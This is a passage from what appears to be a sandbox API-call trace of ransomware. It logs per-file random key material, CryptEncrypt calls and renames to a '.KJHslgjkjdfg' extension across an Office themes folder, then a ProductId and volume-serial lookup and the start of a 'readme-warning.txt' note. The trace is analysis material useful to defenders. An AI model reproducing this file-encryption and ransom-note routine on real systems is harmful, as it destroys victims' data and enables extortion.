shared\\themes14\\sonora\\preview.gif.kjhslgjkjdfg")) returned 1 [0188.756] CloseHandle (hObject=0x12c) returned 1 [0188.756] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28535900, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28535900, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd59f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SONORA.ELM", cAlternateFileName="")) returned 1 [0188.757] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0188.758] GetProcessHeap () returned 0x2ef0000 [0188.758] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0188.758] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0188.758] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0188.758] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x1, lpOverlapped=0x0) returned 1 [0188.760] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0188.760] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0188.760] GetProcessHeap () returned 0x2ef0000 [0188.760] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0188.760] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0188.760] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.760] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0188.760] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0188.760] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0188.761] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0188.761] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0188.761] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0188.761] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0188.761] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0188.761] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.761] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xd59f, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xd59f, lpOverlapped=0x0) returned 1 [0188.762] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xd5a0, dwBufLen=0xd5a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xd5a0) returned 1 [0188.763] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.763] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xd5a0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xd5a0, lpOverlapped=0x0) returned 1 [0188.763] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.763] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xd664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.763] SetEndOfFile (hFile=0x12c) returned 1 [0188.766] GetProcessHeap () returned 0x2ef0000 [0188.766] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0188.766] GetProcessHeap () returned 0x2ef0000 [0188.767] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0188.767] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm.kjhslgjkjdfg")) returned 1 [0188.769] CloseHandle (hObject=0x12c) returned 1 [0188.769] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SONORA.INF", cAlternateFileName="")) returned 1 [0188.769] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0188.770] GetProcessHeap () returned 0x2ef0000 [0188.770] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0188.770] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0188.770] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0188.770] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xc, lpOverlapped=0x0) returned 1 [0188.772] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0188.772] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0188.772] GetProcessHeap () returned 0x2ef0000 [0188.772] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0188.772] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0188.772] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.772] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0188.772] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0188.773] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0188.773] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0188.773] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0188.773] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0188.773] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0188.773] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0188.773] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.773] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1e4, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x1e4, lpOverlapped=0x0) returned 1 [0188.773] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x1f0) returned 1 [0188.773] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.773] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x1f0, lpOverlapped=0x0) returned 1 [0188.773] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.773] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x2b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.773] SetEndOfFile (hFile=0x12c) returned 1 [0188.776] GetProcessHeap () returned 0x2ef0000 [0188.776] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0188.776] GetProcessHeap () returned 0x2ef0000 [0188.776] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0188.776] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf.kjhslgjkjdfg")) returned 1 [0188.890] CloseHandle (hObject=0x12c) returned 1 [0188.890] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0188.890] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0188.891] GetProcessHeap () returned 0x2ef0000 [0188.891] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0188.891] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0188.891] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0188.891] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xc, lpOverlapped=0x0) returned 1 [0188.943] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0188.943] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0188.943] GetProcessHeap () returned 0x2ef0000 [0188.943] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0188.943] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0188.944] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.944] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0188.944] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0188.944] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0188.944] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0188.944] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0188.944] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0188.944] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0188.944] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0188.944] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.944] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5534, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x5534, lpOverlapped=0x0) returned 1 [0188.947] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x5540, dwBufLen=0x5540 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x5540) returned 1 [0188.948] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.948] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5540, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x5540, lpOverlapped=0x0) returned 1 [0188.948] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.948] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x5614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.948] SetEndOfFile (hFile=0x12c) returned 1 [0188.951] GetProcessHeap () returned 0x2ef0000 [0188.951] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0188.951] GetProcessHeap () returned 0x2ef0000 [0188.951] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0188.951] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0188.952] CloseHandle (hObject=0x12c) returned 1 [0188.958] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0188.958] GetProcessHeap () returned 0x2ef0000 [0188.958] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0188.958] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0188.958] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0188.958] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.958] GetProcessHeap () returned 0x2ef0000 [0188.958] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0188.958] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0188.958] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0188.958] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.958] GetProcessHeap () returned 0x2ef0000 [0188.958] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f14588 [0188.958] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0188.958] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14588, pdwDataLen=0x4dfee20 | out: pbData=0x2f14588, pdwDataLen=0x4dfee20) returned 1 [0188.958] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.958] GetProcessHeap () returned 0x2ef0000 [0188.958] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0188.958] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0188.958] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0188.958] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.959] GetProcessHeap () returned 0x2ef0000 [0188.959] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0188.959] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0188.959] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0188.959] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.959] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x12c) returned 0x0 [0188.959] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0188.960] RegCloseKey (hKey=0x12c) returned 0x0 [0188.960] GetProcessHeap () returned 0x2ef0000 [0188.960] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0188.960] GetProcessHeap () returned 0x2ef0000 [0188.960] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0188.960] GetProcessHeap () returned 0x2ef0000 [0188.960] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0188.960] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0188.961] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0188.961] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.961] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0188.961] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0188.961] GetProcessHeap () returned 0x2ef0000 [0188.961] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0188.962] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0188.962] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0188.962] GetProcessHeap () returned 0x2ef0000 [0188.962] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f11d10 [0188.962] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\readme-warning.txt") returned 81 [0188.962] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0188.965] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11d10*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, 